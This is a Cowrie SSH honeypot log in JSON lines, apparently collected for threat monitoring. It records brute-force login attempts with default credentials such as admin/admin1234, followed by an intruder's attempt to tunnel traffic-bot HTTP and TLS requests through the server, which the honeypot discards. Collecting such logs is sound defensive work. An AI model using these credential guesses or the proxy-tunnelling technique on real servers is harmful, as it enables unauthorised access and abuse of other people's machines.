{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:28.986991Z","src_ip":"23.175.50.52","session":"146e2fdc94b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":32622,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e77308b9ce5","protocol":"ssh","message":"New connection: 178.20.210.208:32622 (159.203.135.109:22) [session: 7e77308b9ce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:35.573948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:35.577041Z","src_ip":"178.20.210.208","session":"7e77308b9ce5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:35.676703Z","src_ip":"178.20.210.208","session":"7e77308b9ce5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"redmine","password":"redmine","message":"login attempt [redmine/redmine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:36.069518Z","src_ip":"178.20.210.208","session":"7e77308b9ce5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:37.172211Z","src_ip":"178.20.210.208","session":"7e77308b9ce5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:42.226007Z","session":"146e2fdc94b5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:42.284858Z","src_ip":"23.175.50.52","session":"146e2fdc94b5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; SM-T730) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=XnU4YTcxU2Y3MUA%2FTnFuXg%3D%3DJNTCTI2r6cEjtxuVmpu6X%2Fn7V5BIAlI9E8sYTQOMxr7GAq9B5omkR0ZUvyAR%2FFbHkYtEGk%2Fejz9IXSaNU6LsCpN%2BIOQqH3ls7ntL7iHyzT2vXNRVXhsfGSKvwPfm%2FPhMHwbK6zOmccSP9KXqXplk7LaJcdJD5SYmNRtHaLc46YNtW90o4Flli3rNI64u17wACVjyHF9IVImdi%2BEIQqFtYwg9h7C8LRwB4zl%2FUcVTRA4a6lhjOqqGhOhVXyR63mEM3ztWqam%2Ft2MBo8AFTylToRuJpRGOMcNIwDwF4TyRDSWkIRUM7crp9UFiRR8nvnVf%2F1TjusWKwEjj3Ao%2BFW9EgUVxjg2WjWzVLgQM9cxj3lUBTTACr7cjstdL%2BvsnVacZ56iLGePhxVxZ5gVasGKYbf%2Flqvd9qfXnNt8X2KwULjCo0wjGPf7ijBES2J93tI3krh9FwU8CfYjpEop0JMfhkQo7szQy7SVuJxHksZprJvI8sU4xtW0JqSXrfc%2F9p7HrMXwVcjpS9j1gO8CZnGNFOOAJ0JQq6787Y%2BBeBn7IENCS9MxX9XNwMVbCtJfJbdhW9u36mIuGk7dQHtxHxmWr%2FJ6JG1IP72qKzIHNqHLXnzybFPQKvOiPc8FyVD3vUQRfUYF44pPhojZyx4LJkJ0Par%2FTChR1AaOFu%2BkswkZR8JJQizwPoPss3fZnnkMbzkKxZPS9JI7dr8G%2FQF%2FrtuQietBeZ4Yax358t4g%2BWoEFUGwwtA2ag2d%2B7Akm0H%2BGWFv4gR6bTOnCxFoeR82OTC%2F%2BwMMUja%2FWEH2dKKjNAm%2FXQmv%2BB9YBEsaBXtvXW6IdMs6dOTbZaPWLGsUNLy8IKiI5ZQgUIBQe7%2FRXZrR2p8OVipsdWPoR0c28vUcfmv7vHkSz57C9z1K1aapqB5YEqmPgPVXKRI53ct25JiJN9NErjY4E8vYjI3GHGxUa8%2BXvSCT%2FluzTXWFuj0ww4uIUTNPqb35fkdd0gejZGV9aSb8WQ%2FZSrRP%2BdFxD7Rk4coFzMrwacgMXO%2F09oQumdEZh9NnbrZ5glbFcW5XxxHbRpZJCu%2BAnsaLR2l8HNi%2FAbWKAk7nt'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; SM-T730) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=XnU4YTcxU2Y3MUA%2FTnFuXg%3D%3DJNTCTI2r6cEjtxuVmpu6X%2Fn7V5BIAlI9E8sYTQOMxr7GAq9B5omkR0ZUvyAR%2FFbHkYtEGk%2Fejz9IXSaNU6LsCpN%2BIOQqH3ls7ntL7iHyzT2vXNRVXhsfGSKvwPfm%2FPhMHwbK6zOmccSP9KXqXplk7LaJcdJD5SYmNRtHaLc46YNtW90o4Flli3rNI64u17wACVjyHF9IVImdi%2BEIQqFtYwg9h7C8LRwB4zl%2FUcVTRA4a6lhjOqqGhOhVXyR63mEM3ztWqam%2Ft2MBo8AFTylToRuJpRGOMcNIwDwF4TyRDSWkIRUM7crp9UFiRR8nvnVf%2F1TjusWKwEjj3Ao%2BFW9EgUVxjg2WjWzVLgQM9cxj3lUBTTACr7cjstdL%2BvsnVacZ56iLGePhxVxZ5gVasGKYbf%2Flqvd9qfXnNt8X2KwULjCo0wjGPf7ijBES2J93tI3krh9FwU8CfYjpEop0JMfhkQo7szQy7SVuJxHksZprJvI8sU4xtW0JqSXrfc%2F9p7HrMXwVcjpS9j1gO8CZnGNFOOAJ0JQq6787Y%2BBeBn7IENCS9MxX9XNwMVbCtJfJbdhW9u36mIuGk7dQHtxHxmWr%2FJ6JG1IP72qKzIHNqHLXnzybFPQKvOiPc8FyVD3vUQRfUYF44pPhojZyx4LJkJ0Par%2FTChR1AaOFu%2BkswkZR8JJQizwPoPss3fZnnkMbzkKxZPS9JI7dr8G%2FQF%2FrtuQietBeZ4Yax358t4g%2BWoEFUGwwtA2ag2d%2B7Akm0H%2BGWFv4gR6bTOnCxFoeR82OTC%2F%2BwMMUja%2FWEH2dKKjNAm%2FXQmv%2BB9YBEsaBXtvXW6IdMs6dOTbZaPWLGsUNLy8IKiI5ZQgUIBQe7%2FRXZrR2p8OVipsdWPoR0c28vUcfmv7vHkSz57C9z1K1aapqB5YEqmPgPVXKRI53ct25JiJN9NErjY4E8vYjI3GHGxUa8%2BXvSCT%2FluzTXWFuj0ww4uIUTNPqb35fkdd0gejZGV9aSb8WQ%2FZSrRP%2BdFxD7Rk4coFzMrwacgMXO%2F09oQumdEZh9NnbrZ5glbFcW5XxxHbRpZJCu%2BAnsaLR2l8HNi%2FAbWKAk7nt'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:42.287357Z","src_ip":"23.175.50.52","session":"146e2fdc94b5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:43.066444Z","session":"146e2fdc94b5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:43.511132Z","src_ip":"23.175.50.52","session":"146e2fdc94b5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03r\\xe0X0\\xa8(\\xcfW\\xedx\\xc1To\\x9aP\\xf8\\x88\\xe2;:uK\\xa0\\xfe\\x8d\\xf5\\xdaj\\xd3j\\xb5\\x1f \\xbc\\xd5m\\xfa\\xc1\"h\\xd7\\xe19*\\xd7\\xcd\\x88\\xfb\"6\\xd5\\xae\\xfb\\xe6\\xb0\\xd2\\xca\\x1b\\x95\\xc07,\\xaf\\x81^\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\x83x\\x8f.\\x0cP\\xf1N\\xe7b<\\xb7\\xf4\\x91\\xa1_k\\xdf\\xc5L\\x93\\xb0\\xa6\\xefg\\x80=\\xc8\\xb7\\xca\\xa3y\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03r\\xe0X0\\xa8(\\xcfW\\xedx\\xc1To\\x9aP\\xf8\\x88\\xe2;:uK\\xa0\\xfe\\x8d\\xf5\\xdaj\\xd3j\\xb5\\x1f \\xbc\\xd5m\\xfa\\xc1\"h\\xd7\\xe19*\\xd7\\xcd\\x88\\xfb\"6\\xd5\\xae\\xfb\\xe6\\xb0\\xd2\\xca\\x1b\\x95\\xc07,\\xaf\\x81^\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\x83x\\x8f.\\x0cP\\xf1N\\xe7b<\\xb7\\xf4\\x91\\xa1_k\\xdf\\xc5L\\x93\\xb0\\xa6\\xefg\\x80=\\xc8\\xb7\\xca\\xa3y\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:43.514172Z","src_ip":"23.175.50.52","session":"146e2fdc94b5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:43.771241Z","session":"146e2fdc94b5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:43.827898Z","src_ip":"23.175.50.52","session":"146e2fdc94b5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf3\\x92\\xe0d\\xa5y\\xcf\\xaf\\x8c\\xb9-c\\xe1\\xea\\xc5\\x11\\xd8a\\x0f\\x9dX\\xa7:\\xbd\\x89\\x94\\t\\x1d\\xc8O{\\x1b \\x0f}[\\xb7\\xe3\\xea}\\x99\\xc74]\\x9aL\\xba\\xe6\\\\\\xe1\\x1f\\x9a}\\xc1\\xce>\\xde\\xf6`\\x0e\\x08}\\x81\\xa0\\xf6\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\rj\\xb1\\n_\\xfc%\\x17\\tu\\xc3\\xb9\\xaec\\x84K\\xc9[\\t\\xb3\\xa4\\xec\\xc6\\x8a\\xae\\x90\\x19$!\\x9f\\xbf\\r\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf3\\x92\\xe0d\\xa5y\\xcf\\xaf\\x8c\\xb9-c\\xe1\\xea\\xc5\\x11\\xd8a\\x0f\\x9dX\\xa7:\\xbd\\x89\\x94\\t\\x1d\\xc8O{\\x1b \\x0f}[\\xb7\\xe3\\xea}\\x99\\xc74]\\x9aL\\xba\\xe6\\\\\\xe1\\x1f\\x9a}\\xc1\\xce>\\xde\\xf6`\\x0e\\x08}\\x81\\xa0\\xf6\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\rj\\xb1\\n_\\xfc%\\x17\\tu\\xc3\\xb9\\xaec\\x84K\\xc9[\\t\\xb3\\xa4\\xec\\xc6\\x8a\\xae\\x90\\x19$!\\x9f\\xbf\\r\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:43.833656Z","src_ip":"23.175.50.52","session":"146e2fdc94b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":60508,"dst_ip":"10.17.0.5","dst_port":22,"session":"e185a0e2f426","protocol":"ssh","message":"New connection: 103.172.78.219:60508 (10.17.0.5:22) [session: e185a0e2f426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:44.777614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:44.781932Z","src_ip":"103.172.78.219","session":"e185a0e2f426","protocol":"ssh"}
